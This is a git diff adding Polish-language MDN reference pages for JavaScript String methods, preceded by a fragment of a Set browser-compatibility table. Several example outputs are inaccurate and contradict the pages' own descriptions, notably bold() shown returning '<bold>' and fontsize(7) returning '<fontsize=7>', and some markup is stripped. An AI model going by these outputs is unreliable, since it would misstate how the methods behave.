Constructor argument: new Set(null){{CompatVersionUnknown}}12{{CompatGeckoDesktop("37")}}{{CompatIE(11)}}{{CompatVersionUnknown}}{{CompatSafari(7.1)}}
Monkey-patched add() in Constructor{{CompatVersionUnknown}}12{{CompatGeckoDesktop("37")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatSafari(9)}}
Set[@@species]{{ CompatChrome(51) }}13{{CompatGeckoDesktop("41")}}{{CompatNo}}{{ CompatOpera(38) }}{{CompatSafari(10)}}
Set() without new throws{{CompatVersionUnknown}}12{{CompatGeckoDesktop("42")}}{{CompatIE(11)}}{{CompatVersionUnknown}}9
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome(38)}} [1]{{CompatVersionUnknown}}{{ CompatGeckoMobile("13") }}{{CompatNo}}{{CompatNo}}8
Constructor argument: new Set(iterable){{CompatNo}}{{CompatChrome(38)}}{{CompatVersionUnknown}}{{ CompatGeckoMobile("13") }}{{CompatNo}}{{CompatNo}}9
iterable{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{ CompatGeckoMobile("17") }}{{CompatNo}}{{CompatNo}}8
Set.clear(){{CompatNo}}{{ CompatChrome(38) }}{{CompatVersionUnknown}}{{CompatGeckoMobile("19")}}{{CompatNo}}{{CompatNo}}8
Set.keys(), Set.values(), Set.entries(){{CompatNo}}{{ CompatChrome(38) }}{{CompatVersionUnknown}}{{CompatGeckoMobile("24")}}{{CompatNo}}{{CompatNo}}8
Set.forEach(){{CompatNo}}{{ CompatChrome(38) }}{{CompatVersionUnknown}}{{CompatGeckoMobile("25")}}{{CompatNo}}{{CompatNo}}8
Value equality for -0 and 0{{CompatNo}}{{ CompatChrome(38) }}{{CompatVersionUnknown}}{{CompatGeckoMobile("29")}}{{CompatNo}}{{CompatNo}}9
Constructor argument: new Set(null){{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("37")}}{{CompatUnknown}}{{CompatUnknown}}8
Monkey-patched add() in Constructor{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("37")}}{{CompatUnknown}}{{CompatUnknown}}9
Set[@@species]{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("41")}}{{CompatUnknown}}{{CompatUnknown}}10
Set() without new throws{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("42")}}{{CompatUnknown}}{{CompatUnknown}}9
+
+ +

[1] The feature was available behind a preference from Chrome 31. In chrome://flags, activate the entry “Enable Experimental JavaScript”.

+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/string/anchor/index.html b/files/pl/web/javascript/reference/global_objects/string/anchor/index.html new file mode 100644 index 0000000000..737c385889 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/anchor/index.html @@ -0,0 +1,56 @@ +--- +title: String.prototype.anchor() +slug: Web/JavaScript/Referencje/Obiekty/String/anchor +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/anchor +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Tworzy kotwicę HTML {{HTMLElement("a")}} do użycia jako cel odnośnika.

+ +

Składnia

+ +
str.anchor(name)
+ +

Parametry

+ +
+
name
+
Łańcuch znaków.
+
+ +

Opis

+ +

Use the anchor() method to programmatically create and display an anchor in a document.

+ +

W składni łańcuch znaków reprezentuje literał tekstowy, który ma zobaczyć użytkownik. Łańcuch name reprezentuje atrybut name znacznika a.

+ +

Kotwice stworzone za pomocą metody anchor stają się elementami tablicy document.anchors.

+ +

Przykłady

+ +

Przykład: Zastosowanie anchor()

+ +

Następujący przykład wewnątrz kodu HTML elementu script:

+ +
var myString = "Tabela zawartości";
+
+document.body.innerHTML = myString.anchor("contents_anchor");
+
+ +

spowoduje otrzymanie na wyjściu kodu HTML:

+ +
<a name="contents_anchor">Tabela zawartości</a>
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/string/big/index.html b/files/pl/web/javascript/reference/global_objects/string/big/index.html new file mode 100644 index 0000000000..62914dfa9c --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/big/index.html @@ -0,0 +1,43 @@ +--- +title: String.prototype.big() +slug: Web/JavaScript/Referencje/Obiekty/String/big +tags: + - Deprecated + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/big +--- +
{{JSRef}} {{deprecated_header}}
+ +

Podsumowanie

+ +

Powoduje, iż łańcuch znaków zostanie wyświetlony jakby znajdował się wewnątrz znacznika {{HTMLElement("big")}}.

+ +

Składnia

+ +
str.big()
+ +

Opis

+ +

The big() method embeds a string in a <big> tag: "<big>str</big>".

+ +

Przykłady

+ +

Przykład: Zastosowanie big()

+ +

Następujący przykład stosuje metodę string do zmiany rozmiaru łańcucha znaków:

+ +
var worldString = "Witaj, Świecie";
+
+console.log(worldString.small());     // <small>Witaj, Świecie</small>
+console.log(worldString.big());       // <big>Witaj, Świecie</big>
+console.log(worldString.fontsize(7)); // <fontsize=7>Witaj, Świecie</fontsize>
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/string/blink/index.html b/files/pl/web/javascript/reference/global_objects/string/blink/index.html new file mode 100644 index 0000000000..056dbc3792 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/blink/index.html @@ -0,0 +1,50 @@ +--- +title: String.prototype.blink() +slug: Web/JavaScript/Referencje/Obiekty/String/blink +tags: + - Deprecated + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/blink +--- +
{{JSRef}} {{deprecated_header}}
+ +

Podsumowanie

+ +

Powoduje, iż łańcuch będzie migotał tak, jakby był on wewnątrz znacznika {{HTMLElement("blink")}}.

+ +
+

Warning: Blinking text is frowned upon by several accessibility standards. The <blink> element itself is non-standard and deprecated!

+
+ +

Składnia

+ +
str.blink()
+ +

Opis

+ +

The blink() method embeds a string in a <blink> tag: "<blink>str</blink>".

+ +

Przykłady

+ +

Przykład: Zastosowanie blink()

+ +

Następujący przykład stosuje metodę string do zmiany formatowania łańcucha znaków:

+ +
var worldString="Witaj, Świecie";
+
+console.log(worldString.blink());   // <blink>Witaj, Świecie</blink>
+console.log(worldString.bold());    // <bold>Witaj, Świecie</bold>
+console.log(worldString.italics()); // <i>Witaj, Świecie</i>
+console.log(worldString.strike());  // <s>Witaj, Świecie</s>
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/string/bold/index.html b/files/pl/web/javascript/reference/global_objects/string/bold/index.html new file mode 100644 index 0000000000..0708d5799e --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/bold/index.html @@ -0,0 +1,45 @@ +--- +title: String.prototype.bold() +slug: Web/JavaScript/Referencje/Obiekty/String/bold +tags: + - Deprecated + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/bold +--- +

{{JSRef}}{{deprecated_header}}

+ +

Podsumowanie

+ +

Powoduje wyświetlenie łańcucha znaków jako pogrubienia, jakby był w znaczniku {{HTMLElement("b")}}.

+ +

Składnia

+ +
str.bold()
+ +

Opis

+ +

The bold() method embeds a string in a <b> tag: "<b>str</b>".

+ +

Przykłady

+ +

Przykład: Zastosowanie bold()

+ +

Następujący przykład stosuje metodę string do zmiany rozmiaru łańcucha znaków:

+ +
var worldString="Witaj, Świecie";
+
+console.log(worldString.blink());   // <blink>Witaj, Świecie</blink>
+console.log(worldString.bold());    // <bold>Witaj, Świecie</bold>
+console.log(worldString.italics()); // <i>Witaj, Świecie</i>
+console.log(worldString.strike());  // <s>Witaj, Świecie</s>
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/string/charat/index.html b/files/pl/web/javascript/reference/global_objects/string/charat/index.html new file mode 100644 index 0000000000..30ce5303c2 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/charat/index.html @@ -0,0 +1,68 @@ +--- +title: String.prototype.charAt() +slug: Web/JavaScript/Referencje/Obiekty/String/charAt +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/charAt +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca określony znak z łańcucha znaków.

+ +

Składnia

+ +
str.charAt(index)
+ +

Parametry

+ +
+
index 
+
Liczba całkowita z przedziału od 0 do liczby o 1 mniejszej od długości łańcucha.
+
+ +

Opis

+ +

Znaki w łańcuchu znaków są indeksowane od lewej do prawej strony. Indeksem pierwszego znaku jest 0, a indeksem ostatniego znaku w łańcuchu znaków o nazwie stringName jest stringName.length - 1. Jeśli dostarczona wartość parametru index znajduje się poza zakresem, JavaScript zwróci pusty łańcuch znaków.

+ +

Przykłady

+ +

Przykład: Wyświetlanie różnych znaków z określonego łańcucha znaków

+ +

Poniższy przykład wyświetla różne znaki łańcucha "Brave new world":

+ +
var anyString="Brave new world";
+
+console.log("Znakiem o indeksie 0   jest '" + anyString.charAt(0)   + "'");
+console.log("Znakiem o indeksie 1   jest '" + anyString.charAt(1)   + "'");
+console.log("Znakiem o indeksie 2   jest '" + anyString.charAt(2)   + "'");
+console.log("Znakiem o indeksie 3   jest '" + anyString.charAt(3)   + "'");
+console.log("Znakiem o indeksie 4   jest '" + anyString.charAt(4)   + "'");
+console.log("Znakiem o indeksie 999 jest '" + anyString.charAt(999) + "'");
+
+ +

Powyższy kod wyświetli:

+ +
Znakiem o indeksie 0   jest 'B'
+Znakiem o indeksie 1   jest 'r'
+Znakiem o indeksie 2   jest 'a'
+Znakiem o indeksie 3   jest 'v'
+Znakiem o indeksie 4   jest 'e'
+Znakiem o indeksie 999 jest ''
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/string/charcodeat/index.html b/files/pl/web/javascript/reference/global_objects/string/charcodeat/index.html new file mode 100644 index 0000000000..21c7822f12 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/charcodeat/index.html @@ -0,0 +1,42 @@ +--- +title: String.prototype.charCodeAt() +slug: Web/JavaScript/Referencje/Obiekty/String/charCodeAt +tags: + - JavaScript + - Method + - Prototype + - String + - Unicode +translation_of: Web/JavaScript/Reference/Global_Objects/String/charCodeAt +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca liczbę oznaczającą wartość Unicode znaku o podanym indeksie.

+ +

Składnia

+ +
str.charCodeAt(index)
+ +

Parametry

+ +
+
index 
+
Liczba całkowita z przedziału od 0 do liczby o 1 mniejszej od długości łańcucha.
+
+ +

Opis

+ +

Wartości Unicode mieszczą się w zakresie od 0 do 65535. Pierwsze 128 wartości Unicode jest takie same jak w zbiorze znaków ASCII. Aby dowiedzieć się więcej o Unicode, zobacz Przewodnik po języku JavaScript.

+ +

Zgodność wsteczna: JavaScript 1.2 — Metoda charCodeAt zwraca liczbę wskazującą wartość ze zbioru kodowania ISO-Latin-1 znaku o podanym indeksie. Zbiór kodowania ISO-Latin-1 posiada zakres od 0 do 255. Znaki od 0 do 127 są identyczne, co te w zbiorze znaków ASCII.

+ +

Przykłady

+ +

Przykład: Zastosowanie charCodeAt()

+ +

Następujący przykład zwróci 65, wartość A w Unicode.

+ +
"ABC".charCodeAt(0); // zwróci 65
+
diff --git a/files/pl/web/javascript/reference/global_objects/string/concat/index.html b/files/pl/web/javascript/reference/global_objects/string/concat/index.html new file mode 100644 index 0000000000..b4361f0fd7 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/concat/index.html @@ -0,0 +1,44 @@ +--- +title: String.prototype.concat() +slug: Web/JavaScript/Referencje/Obiekty/String/concat +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/concat +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Łączy tekst dwóch lub więcej łańcuchów znaków i zwraca nowy łańcuch.

+ +

Składnia

+ +
str.concat(string2, string3[, ..., stringN])
+ +

Parametry

+ +
+
string2...string + N +  
+
Łańcuchy znaków mające być dołączone do tego łańcucha.
+
+ +

Opis

+ +

concat() łączy tekst jednego lub więcej łańcuchów znaków i zwraca nowy łańcuch znaków. Zmiana tekstu w jednym łańcuchu znaków nie ma wpływu na drugi łańcuch.

+ +

Przykłady

+ +

Przykład: Zastosowanie concat()

+ +

Następujący przykład łączy łańcuchy znaków w nowy łańcuch znaków.

+ +
var s1="Och, ";
+var s2="jaki piękny ";
+var s3="poranek.";
+var s4=s1.concat(s2,s3); // zwraca "Och, jaki piękny poranek."
+
diff --git a/files/pl/web/javascript/reference/global_objects/string/fontcolor/index.html b/files/pl/web/javascript/reference/global_objects/string/fontcolor/index.html new file mode 100644 index 0000000000..0cc7fa1ccc --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/fontcolor/index.html @@ -0,0 +1,50 @@ +--- +title: String.prototype.fontcolor() +slug: Web/JavaScript/Referencje/Obiekty/String/fontcolor +tags: + - Deprecated + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/fontcolor +--- +
{{JSRef}} {{deprecated_header}}
+ +

Podsumowanie

+ +

Powoduje, iż łańcuch zostanie wyświetlony podanym kolorem tak jakby był wewnątrz znacznika {{HTMLElement("font")}}.

+ +

Składnia

+ +
str.fontcolor(color)
+ +

Parametry

+ +
+
color 
+
Łańcuch znaków wyrażający kolor jako trójka heksadecymalna RGB lub jako łańcuch znaków. Lista nazw w postaci łańcucha znaków dla kolorów jest dostępna w przewodniku po języku JavaScript 1.5.
+
+ +

Opis

+ +

Jeśli wyrażamy kolor w postaci trójki heksadecymalnej RGB, to musisz zastosować format rrggbb. Na przykład, wartość heksadecymalna koloru łososiowego składa się z red=FA, green=80 i blue=72, więc trójka RGB dla łososiowego będzie miała wartość "FA8072".

+ +

Przykłady

+ +

Przykład: Zastosowanie fontcolor()

+ +

Następujący przykład stosuje metodę string do zmiany koloru łańcucha znaków:

+ +
var worldString="Witaj, Świecie";
+
+console.log(worldString.fontcolor("red") + " jest koloru czerwonego w tej linii");
+// <font color="red">Witaj, Świecie</font> jest koloru czerwonego w tej linii
+
+console.log(worldString.fontcolor("FF00") +" linia jest czerwona i podany kolor heksadecymalny");
+// <font color="FF00">Witaj, Świecie</font> linia jest czerwona i podany kolor heksadecymalny
+
+ +
 
+ +

 

diff --git a/files/pl/web/javascript/reference/global_objects/string/fontsize/index.html b/files/pl/web/javascript/reference/global_objects/string/fontsize/index.html new file mode 100644 index 0000000000..3de3c5bb4c --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/fontsize/index.html @@ -0,0 +1,48 @@ +--- +title: String.prototype.fontsize() +slug: Web/JavaScript/Referencje/Obiekty/String/fontsize +tags: + - Deprecated + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/fontsize +--- +

{{JSRef}}{{ Non-standard_header() }}

+ +

Podsumowanie

+ +

Powoduje wyświetlenie łańcucha znaków w określonym rozmiarze czcionki, tak jak to było w znaczniku {{HTMLElement("font")}}.

+ +

Składnia

+ +
str.fontsize(size)
+ +

Parametry

+ +
+
size 
+
Liczba całkowita pomiędzy 1 a 7, łańcuch znaków reprezentujący rozmiar znaku liczby całkowitej między 1 a 7.
+
+ +

Opis

+ +

Kiedy określisz rozmiar jako liczbę całkowitą, ustaw rozmiar stringName na jeden z 7 innych rozmiarów. Kiedy określisz size łańcucha znaków jako "-2", to dostosujesz rozmiar czcionki stringName relatywnie do rozmiaru jaki został ustawiony w znaczniku {{HTMLElement("basefont")}}.

+ +

Przykłady

+ +

Przykład: Zastosowanie fontsize()

+ +
var worldString = "Witaj, Świecie";
+
+console.log(worldString.small());     // <small>Witaj, Świecie</small>
+console.log(worldString.big());       // <big>Witaj, Świecie</big>
+console.log(worldString.fontsize(7)); // <fontsize=7>Witaj, Świecie</fontsize>
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/string/fromcharcode/index.html b/files/pl/web/javascript/reference/global_objects/string/fromcharcode/index.html new file mode 100644 index 0000000000..7d00613db2 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/fromcharcode/index.html @@ -0,0 +1,50 @@ +--- +title: String.fromCharCode() +slug: Web/JavaScript/Referencje/Obiekty/String/fromCharCode +tags: + - JavaScript + - Method + - String + - Unicode +translation_of: Web/JavaScript/Reference/Global_Objects/String/fromCharCode +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca łańcuch znaków stworzony przez podaną sekwencję kodów Unicode.

+ +

Składnia

+ +
String.fromCharCode(num1[, ...[, numN]])
+ +

Parametry

+ +
+
num1, ..., numN  
+
Sekwencja liczb, które są wartościami Unicode.
+
+ +

Opis

+ +

Ta metoda zwraca łańcuch znaków nie będący {{jsxref("String")}}.

+ +

Ponieważ fromCharCode() jest metodą statyczną {{jsxref("String")}}, używaj ją zawsze jako String.fromCharCode(), a nie jako metodę obiektu {{jsxref("String")}}.

+ +

Przykłady

+ +

Przykład: Zastosowanie fromCharCode()

+ +

Następujący przykład zwraca łańcuch znaków "ABC".

+ +
String.fromCharCode(65,66,67); // "ABC"
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/string/fromcodepoint/index.html b/files/pl/web/javascript/reference/global_objects/string/fromcodepoint/index.html new file mode 100644 index 0000000000..a8c17af7f1 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/fromcodepoint/index.html @@ -0,0 +1,149 @@ +--- +title: String.fromCodePoint() +slug: Web/JavaScript/Referencje/Obiekty/String/fromCodePoint +translation_of: Web/JavaScript/Reference/Global_Objects/String/fromCodePoint +--- +
{{JSRef}}
+ +

The static String.fromCodePoint() method returns a string created by using the specified sequence of code points.

+ +
{{EmbedInteractiveExample("pages/js/string-fromcodepoint.html","shorter")}}
+ + + +

Syntax

+ +
String.fromCodePoint(num1[, ...[, numN]])
+ +

Parameters

+ +
+
num1, ..., numN
+
A sequence of code points.
+
+ +

Return value

+ +

A string created by using the specified sequence of code points.

+ +

Exceptions

+ + + +

Description

+ +

This method returns a string (and not a {{jsxref("String")}} object).

+ +

Because fromCodePoint() is a static method of {{jsxref("String")}}, you must call it as String.fromCodePoint(), rather than as a method of a {{jsxref("String")}} object you created.

+ +

Polyfill

+ +

The String.fromCodePoint() method has been added to ECMAScript 2015 and may not be supported in all web browsers or environments yet.

+ +

Use the code below for a polyfill:

+ +
if (!String.fromCodePoint) (function(stringFromCharCode) {
+    var fromCodePoint = function(_) {
+      var codeUnits = [], codeLen = 0, result = "";
+      for (var index=0, len = arguments.length; index !== len; ++index) {
+        var codePoint = +arguments[index];
+        // correctly handles all cases including `NaN`, `-Infinity`, `+Infinity`
+        // The surrounding `!(...)` is required to correctly handle `NaN` cases
+        // The (codePoint>>>0) === codePoint clause handles decimals and negatives
+        if (!(codePoint < 0x10FFFF && (codePoint>>>0) === codePoint))
+          throw RangeError("Invalid code point: " + codePoint);
+        if (codePoint <= 0xFFFF) { // BMP code point
+          codeLen = codeUnits.push(codePoint);
+        } else { // Astral code point; split in surrogate halves
+          // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
+          codePoint -= 0x10000;
+          codeLen = codeUnits.push(
+            (codePoint >> 10) + 0xD800,  // highSurrogate
+            (codePoint % 0x400) + 0xDC00 // lowSurrogate
+          );
+        }
+        if (codeLen >= 0x3fff) {
+          result += stringFromCharCode.apply(null, codeUnits);
+          codeUnits.length = 0;
+        }
+      }
+      return result + stringFromCharCode.apply(null, codeUnits);
+    };
+    try { // IE 8 only supports `Object.defineProperty` on DOM elements
+      Object.defineProperty(String, "fromCodePoint", {
+        "value": fromCodePoint, "configurable": true, "writable": true
+      });
+    } catch(e) {
+      String.fromCodePoint = fromCodePoint;
+    }
+}(String.fromCharCode));
+
+ +

Examples

+ +

Using fromCodePoint()

+ +

Valid input:

+ +
String.fromCodePoint(42);       // "*"
+String.fromCodePoint(65, 90);   // "AZ"
+String.fromCodePoint(0x404);    // "\u0404" == "Є"
+String.fromCodePoint(0x2F804);  // "\uD87E\uDC04"
+String.fromCodePoint(194564);   // "\uD87E\uDC04"
+String.fromCodePoint(0x1D306, 0x61, 0x1D307); // "\uD834\uDF06a\uD834\uDF07"
+
+ +

Invalid input:

+ +
String.fromCodePoint('_');      // RangeError
+String.fromCodePoint(Infinity); // RangeError
+String.fromCodePoint(-1);       // RangeError
+String.fromCodePoint(3.14);     // RangeError
+String.fromCodePoint(3e-2);     // RangeError
+String.fromCodePoint(NaN);      // RangeError
+
+ +

Compared to fromCharCode()

+ +

{{jsxref("String.fromCharCode()")}} cannot return supplementary characters (i.e. code points 0x0100000x10FFFF) by specifying their code point. Instead, it requires the UTF-16 surrogate pair in order to return a supplementary character:

+ +
String.fromCharCode(0xD83C, 0xDF03); // Code Point U+1F303 "Night with
+String.fromCharCode(55356, 57091);   // Stars" == "\uD83C\uDF03"
+
+ +

String.fromCodePoint(), on the other hand, can return 4-byte supplementary characters, as well as the more common 2-byte BMP characters, by specifying their code point (which is equivalent to the UTF-32 code unit):

+ +
String.fromCodePoint(0x1F303); // or 127747 in decimal
+
+ +

Specifications

+ + + + + + + + + + + + +
Specification
{{SpecName('ESDraft', '#sec-string.fromcodepoint', 'String.fromCodePoint')}}
+ +

Browser compatibility

+ + + +

{{Compat("javascript.builtins.String.fromCodePoint")}}

+ +

See also

+ + diff --git a/files/pl/web/javascript/reference/global_objects/string/index.html b/files/pl/web/javascript/reference/global_objects/string/index.html new file mode 100644 index 0000000000..ff27fbc81a --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/index.html @@ -0,0 +1,194 @@ +--- +title: String +slug: Web/JavaScript/Referencje/Obiekty/String +tags: + - JavaScript + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Tworzy obiekt pozwalający działać na ciągach znaków.

+ +

Składnia

+ +

Literały znakowe są postaci:

+ +
'string text'
+"string text"
+"中文 español English हिन्दी العربية português বাংলা русский 日本語 ਪੰਜਾਬੀ 한국어 தமிழ்"
+
+ +

Beside regular, printable characters, special characters can be encoded using escape notation:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CodeOutput
\0the NUL character
\'single quote
\"double quote
\\backslash
\nnew line
\rcarriage return
\vvertical tab
\ttab
\bbackspace
\fform feed
\uXXXXunicode codepoint
\xXXthe Latin-1 character
+ +

Or, using the String global object directly:

+ +
String(thing)
+new String(thing)
+
+ +

Parametry

+ +
+
thing
+
Dowolny łańcuch znaków.
+
+ +

Opis

+ +

trings are useful for holding data that can be represented in text form. Some of the most-used operations on strings are to check their {{jsxref("String.length", "length")}}, to build and concatenate them using the + and += string operators, checking for the existence or location of substrings with the {{jsxref("String.prototype.indexOf()", "indexOf()")}} method, or extracting substrings with the {{jsxref("String.prototype.substring()", "substring()")}} method.

+ +

Character access

+ +

There are two ways to access an individual character in a string. The first is the {{jsxref("String.prototype.charAt()", "charAt()")}} method:

+ +
return 'cat'.charAt(1); // returns "a"
+ +
+ +

The other way (introduced in ECMAScript 5) is to treat the string as an array-like object, where individual characters correspond to a numerical index:

+ +
return 'cat'[1]; // returns "a"
+ +
+ +

For character access using bracket notation, attempting to delete or assign a value to these properties will not succeed. The properties involved are neither writable nor configurable. (See {{jsxref("Object.defineProperty()")}} for more information.)

+ +

Comparing strings

+ +

C developers have the strcmp() function for comparing strings. In JavaScript, you just use the less-than and greater-than operators:

+ +
var a = 'a';
+var b = 'b';
+if (a < b) { // true
+  print(a + ' is less than ' + b);
+} else if (a > b) {
+  print(a + ' is greater than ' + b);
+} else {
+  print(a + ' and ' + b + ' are equal.');
+}
+ +

A similar result can be achieved using the {{jsxref("String.prototype.localeCompare()", "localeCompare()")}} method inherited by String instances.

+ +

Distinction between string primitives and String objects

+ +

Note that JavaScript distinguishes between String objects and primitive string values. (The same is true of {{jsxref("Global_Objects/Boolean", "Boolean")}} and {{jsxref("Global_Objects/Number", "Numbers")}}.)

+ +

String literals (denoted by double or single quotes) and strings returned from String calls in a non-constructor context (i.e., without using the {{jsxref("Operators/new", "new")}} keyword) are primitive strings. JavaScript automatically converts primitives to String objects, so that it's possible to use String object methods for primitive strings. In contexts where a method is to be invoked on a primitive string or a property lookup occurs, JavaScript will automatically wrap the string primitive and call the method or perform the property lookup.

+ +
var s_prim = 'foo';
+var s_obj = new String(s_prim);
+
+console.log(typeof s_prim); // Logs "string"
+console.log(typeof s_obj);  // Logs "object"
+ +
+ +

String primitives and String objects also give different results when using {{jsxref("Global_Objects/eval", "eval()")}}. Primitives passed to eval are treated as source code; String objects are treated as all other objects are, by returning the object. For example:

+ +
var s1 = '2 + 2';             // creates a string primitive
+var s2 = new String('2 + 2'); // creates a String object
+console.log(eval(s1));        // returns the number 4
+console.log(eval(s2));        // returns the string "2 + 2"
+ +

For these reasons, code may break when it encounters String objects when it expects a primitive string instead, although generally authors need not worry about the distinction.

+ +

A String object can always be converted to its primitive counterpart with the {{jsxref("String.prototype.valueOf()", "valueOf()")}} method.

+ +
console.log(eval(s2.valueOf())); // returns the number 4
+ +
Note: For another possible approach to strings in JavaScript, please read the article about StringView — a C-like representation of strings based on typed arrays.
+ +

Własności

+ +
+
{{jsxref("String.prototype")}}
+
Pozwala na dodawanie własności do obiektu String.
+
+ +
{{jsOverrides("Function", "Properties", "prototype")}}
+ +

Metody

+ +
+
{{jsxref("String.fromCharCode()")}}
+
Zwraca łańcuch znaków stworzony przez podaną sekwencję kodów Unicode.
+
{{jsxref("String.fromCodePoint()")}} {{experimental_inline}}
+
Returns a string created by using the specified sequence of code points.
+
{{jsxref("String.raw()")}} {{experimental_inline}}
+
Returns a string created from a raw template string.
+
+ +
{{jsOverrides("Function", "Methods", "fromCharCode", "fromCodePoint", "raw")}}
+ +

Przykłady

+ +

Example: String conversion

+ +

It's possible to use String as a "safer" {{jsxref("String.prototype.toString()", "toString()")}} alternative, as although it still normally calls the underlying toString(), it also works for {{jsxref("null")}} and {{jsxref("undefined")}}. For example:

+ +
var outputStrings = [];
+for (var i = 0, n = inputValues.length; i < n; ++i) {
+  outputStrings.push(String(inputValues[i]));
+}
diff --git a/files/pl/web/javascript/reference/global_objects/string/italics/index.html b/files/pl/web/javascript/reference/global_objects/string/italics/index.html new file mode 100644 index 0000000000..016a400805 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/italics/index.html @@ -0,0 +1,45 @@ +--- +title: String.prototype.italics() +slug: Web/JavaScript/Referencje/Obiekty/String/italics +tags: + - Deprecated + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/italics +--- +

{{JSRef}}{{deprecated_header}}

+ +

Podsumowanie

+ +

Powoduje, iż łańcuch zostanie wyświetlony kursywą tak jakby był wewnątrz znacznika {{HTMLElement("i")}}.

+ +

Składnia

+ +
str.italics()
+ +

Opis

+ +

The italics() method embeds a string in an <i> tag: "<i>str</i>".

+ +

Przykłady

+ +

Przykład: Zastosowanie metody italics()

+ +

Następujący przykład stosuje metodę string do zmiany formatowania łańcucha znakowego:

+ +
var worldString="Witaj, Świecie";
+
+console.log(worldString.blink());   // <blink>Witaj, Świecie</blink>
+console.log(worldString.bold());    // <bold>Witaj, Świecie</bold>
+console.log(worldString.italics()); // <i>Witaj, Świecie</i>
+console.log(worldString.strike());  // <s>Witaj, Świecie</s>
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/string/link/index.html b/files/pl/web/javascript/reference/global_objects/string/link/index.html new file mode 100644 index 0000000000..6d8baeb078 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/link/index.html @@ -0,0 +1,43 @@ +--- +title: String.prototype.link() +slug: Web/JavaScript/Referencje/Obiekty/String/link +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/link +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Tworzy łącze hipertekstowe, które wywołuje inny URL.

+ +

Składnia

+ +
str.link(url)
+ +

Parametry

+ +
+
url
+
Jakikolwiek łańcuch określony w href ze znacznika a; powinien być umieszczany poprawny URL (relatywny lub absolutny).
+
+ +

Opis

+ +

Linki tworzymy poprzez metodę link stającą się elementami tablicy links z obiektu document. Zobacz document.links.

+ +

Przykłady

+ + + +

Następujący przykład wyświetla słowo "MDN" jako odnośnik hipertekstowy, poprzez który użytkownik będzie mógł przejść na stronę domową Netscape:

+ +
var hotText="MDN";
+var URL="https://developer.mozilla.org/";
+
+console.log("Kliknij, aby powrócić do " + hotText.link(URL));
+// Kliknij, aby powrócić do <a href="https://developer.mozilla.org">MDN</a>
+
diff --git a/files/pl/web/javascript/reference/global_objects/string/repeat/index.html b/files/pl/web/javascript/reference/global_objects/string/repeat/index.html new file mode 100644 index 0000000000..76bf932753 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/string/repeat/index.html @@ -0,0 +1,166 @@ +--- +title: String.prototype.repeat() +slug: Web/JavaScript/Referencje/Obiekty/String/repeat +translation_of: Web/JavaScript/Reference/Global_Objects/String/repeat +--- +
{{JSRef}}
+ +

The repeat() method constructs and returns a new string which contains the specified number of copies of the string on which it was called, concatenated together.

+ +

Składnia

+ +
